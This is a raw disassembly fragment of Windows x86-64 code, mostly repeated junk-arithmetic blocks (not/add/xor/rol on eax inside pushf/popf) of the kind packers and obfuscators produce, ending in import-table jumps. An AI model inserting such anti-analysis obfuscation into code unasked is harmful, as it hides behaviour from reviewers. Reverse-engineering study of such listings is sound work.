sub rdx, 0x6e556221
popf
call fcn.140015b9c
mov ecx, ebx
test rax, rax
je 0x140096b6c
push rax
pushf
mov eax, 0xeab9d102
pushf
not eax
add eax, 0x8d626b90
xor eax, 0xaaae4ef5
rol eax, 0x94
popf
pushf
not eax
add eax, 0x961f5265
xor eax, 0xc2decef0
rol eax, 0x63
popf
pushf
not eax
add eax, 0xd71b817c
xor eax, 0xf1a52416
rol eax, 0x4f
popf
pushf
not eax
add eax, 0xab1eb0d8
xor eax, 0xc489ee78
rol eax, 0x24
popf
jmp 0x140096a43
push rax
pushf
mov eax, 0x3192fca4
pushf
not eax
add eax, 0xb8ab82e5
xor eax, 0xbf1a485d
rol eax, 0x59
popf
pushf
not eax
add eax, 0xc3c585c1
xor eax, 0x9b80992d
rol eax, 0xea
popf
pushf
not eax
add eax, 0xc4679f49
xor eax, 0x8a6f904e
rol eax, 0x55
popf
pushf
not eax
add eax, 0xe03ef831
xor eax, 0xc9bfaa93
rol eax, 0xc3
popf
jmp 0x140096a43
add rsp, 0x20
pop rbx
jmp qword [0x140036430]
add rsp, 0x20
pop rbx
jmp qword [sym.imp.KERNEL32.dll_TlsGetValue]